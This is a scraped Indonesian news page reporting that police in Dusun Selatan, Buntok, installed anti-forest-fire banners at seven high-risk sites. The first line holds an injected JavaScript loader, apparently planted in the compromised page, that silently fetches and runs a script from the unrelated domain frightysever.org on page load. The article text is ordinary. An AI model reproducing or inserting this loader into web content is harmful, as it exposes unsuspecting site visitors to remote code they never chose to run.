(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Antisipasi Karhutla, Polsek Dusel Pasang Baliho Stop Kebakaran Hutan dan Lahan


BUNTOK, Berbagai upaya dilakukan jajaran Polsek Dusun Selatan (Dusel) dalam upaya mencegah dan sosialisasi Karhutla. Di antaranya dengan pemasangan baliho stop pembakaran hutan dan lahan di daerah yang dianggap rawan.

Kapolsel Dusel Ipda Abi Karsa mengatakan, pemasangan bebepara baliho dan spanduk larangan pembakaran lahan di daerah yang dianggap rawan ini, merupakan upaya mengatasi pembakaran lahan di wilayah hukumnya.

“Jadi untuk antisipasi terjadinya pembakaran lahan  kita lakukan pemasangan spanduk larangan pembakaran hutan dan lahan dibeberapa wilayah hukum Polsek Dusel,” kata Ipda Abi kepada Kanalkalimantan.com, di kantornya, Kamis (18/7).

Ia juga mengatakan, adapun daerah yang di anggap rawan merupakan tempat yang selama ini di anggap sering terjadinya Karhutla, maka pada lokasi itu dipasang spanduk larangan langsung tertera dengan pasal hukuman dan denda untuk para pelanggar. “Yang mana lokasi selama ini sering terjadinya Karhutla, disitu lah kita lakukan pemasangan spanduk larangan untuk Karhutla itu sendiri,” beber Ipda Abi.

Ia mengungkap untuk lokasi yang sering menjadi langganan Karhutla dan dilakukan pemasangan spanduk antara lain, di jalan Desa Pamait, di pinggir Desa Sababilah atau Simpang Rikut Jawu, di jalan Desa Manggaris atau simpang empat jalan MTU, di jalan Desa Sanggu, di jalan Buntok-Palangkaraya yakni Desa Madara, di jalan Buntok-Palangkaraya Dusun Danau Jutuh Desa Pararapak, di jalan Negara Buntok-Palangkaraya Desa Lembeng.

“Jadi untuk pemasangan spanduk Karhutla ini dipasang pada tujuh titik lokasi wilayah hukum Polsek Dusel,” jelasnya.

Ditambahkan Ipda Abi, kegiatan ini kiranya dapat memberikan kesadaran kepada masyarakat. Yang mana apabila melakukan tindak pidana membakar lahan atau hutan, para pembakar lahan akan di proses sesuai hukum yang berlaku.

“Kita berharap kiranya dengan adanya spandul larangan pembakaran hutan dan lahan ini bisa memberikan kesadaran pada mayarakat dan juga tahu apa hukumannya jika masih melakukan,” tandas Ipda Abi.(digdo)

Reporter : Digdo
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.